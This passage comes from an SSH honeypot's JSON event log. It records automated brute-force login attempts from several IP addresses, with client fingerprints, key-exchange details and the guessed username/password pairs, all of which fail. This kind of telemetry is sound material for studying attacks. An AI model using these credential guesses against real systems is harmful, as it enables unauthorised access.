{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:12.140427Z","src_ip":"2.57.122.208","session":"b9472c283e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":63648,"dst_ip":"10.17.0.5","dst_port":22,"session":"69636c03440e","protocol":"ssh","message":"New connection: 64.188.83.153:63648 (10.17.0.5:22) [session: 69636c03440e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:14.980803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:14.986319Z","src_ip":"64.188.83.153","session":"69636c03440e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:15.071263Z","src_ip":"64.188.83.153","session":"69636c03440e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"webserver2025","message":"login attempt [webserver/webserver2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:15.440271Z","src_ip":"64.188.83.153","session":"69636c03440e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:16.526137Z","src_ip":"64.188.83.153","session":"69636c03440e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":44486,"dst_ip":"159.203.135.109","dst_port":22,"session":"63361d267bf2","protocol":"ssh","message":"New connection: 2.57.122.210:44486 (159.203.135.109:22) [session: 63361d267bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:33.146580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:33.151187Z","src_ip":"2.57.122.210","session":"63361d267bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:33.253339Z","src_ip":"2.57.122.210","session":"63361d267bf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing123","password":"testing123","message":"login attempt [testing123/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:33.553499Z","src_ip":"2.57.122.210","session":"63361d267bf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:34.654771Z","src_ip":"2.57.122.210","session":"63361d267bf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":55626,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8e0be39a0e","protocol":"ssh","message":"New connection: 177.11.196.84:55626 (10.17.0.5:22) [session: ca8e0be39a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:39.083856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:39.089449Z","src_ip":"177.11.196.84","session":"ca8e0be39a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:39.225876Z","src_ip":"177.11.196.84","session":"ca8e0be39a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student5","password":"student5pass","message":"login attempt [student5/student5pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:39.798717Z","src_ip":"177.11.196.84","session":"ca8e0be39a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:40.937006Z","src_ip":"177.11.196.84","session":"ca8e0be39a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":49536,"dst_ip":"10.17.0.5","dst_port":22,"session":"90766fb59e62","protocol":"ssh","message":"New connection: 61.245.10.43:49536 (10.17.0.5:22) [session: 90766fb59e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:23.069519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:23.073793Z","src_ip":"61.245.10.43","session":"90766fb59e62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:23.312221Z","src_ip":"61.245.10.43","session":"90766fb59e62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ems","password":"ems1234","message":"login attempt [ems/ems1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:24.301464Z","src_ip":"61.245.10.43","session":"90766fb59e62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:25.543409Z","src_ip":"61.245.10.43","session":"90766fb59e62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":54866,"dst_ip":"10.17.0.5","dst_port":22,"session":"f481a6800618","protocol":"ssh","message":"New connection: 147.50.103.212:54866 (10.17.0.5:22) [session: f481a6800618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:27.366598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:27.370991Z","src_ip":"147.50.103.212","session":"f481a6800618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:27.633808Z","src_ip":"147.50.103.212","session":"f481a6800618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wyy","password":"12345","message":"login attempt [wyy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:28.714096Z","src_ip":"147.50.103.212","session":"f481a6800618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:29.978441Z","src_ip":"147.50.103.212","session":"f481a6800618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":48412,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc1e849483b","protocol":"ssh","message":"New connection: 27.111.32.174:48412 (10.17.0.5:22) [session: 0fc1e849483b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:35.736078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:35.739200Z","src_ip":"27.111.32.174","session":"0fc1e849483b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:35.990866Z","src_ip":"27.111.32.174","session":"0fc1e849483b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wyy","password":"12345","message":"login attempt [wyy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:37.031932Z","src_ip":"27.111.32.174","session":"0fc1e849483b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:38.286747Z","src_ip":"27.111.32.174","session":"0fc1e849483b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":51268,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b4328c97b9a","protocol":"ssh","message":"New connection: 64.188.83.153:51268 (10.17.0.5:22) [session: 1b4328c97b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:40.526028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:40.530989Z","src_ip":"64.188.83.153","session":"1b4328c97b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:40.617063Z","src_ip":"64.188.83.153","session":"1b4328c97b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wyy","password":"12345","message":"login attempt [wyy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:40.990395Z","src_ip":"64.188.83.153","session":"1b4328c97b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:13:42.077613Z","src_ip":"64.188.83.153","session":"1b4328c97b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51572,"dst_ip":"10.17.0.5","dst_port":22,"session":"273317d53d82","protocol":"ssh","message":"New connection: 193.32.162.145:51572 (10.17.0.5:22) [session: 273317d53d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:14.516751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:14.521136Z","src_ip":"193.32.162.145","session":"273317d53d82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:14.628844Z","src_ip":"193.32.162.145","session":"273317d53d82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brain","password":"brain","message":"login attempt [brain/brain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:15.019264Z","src_ip":"193.32.162.145","session":"273317d53d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:16.125175Z","src_ip":"193.32.162.145","session":"273317d53d82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34040,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec3f0f7d664b","protocol":"ssh","message":"New connection: 2.57.122.208:34040 (10.17.0.5:22) [session: ec3f0f7d664b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:16.637369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:14:16.641350Z","src_ip":"2.57.122.208","session":"ec3f0f7d664b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 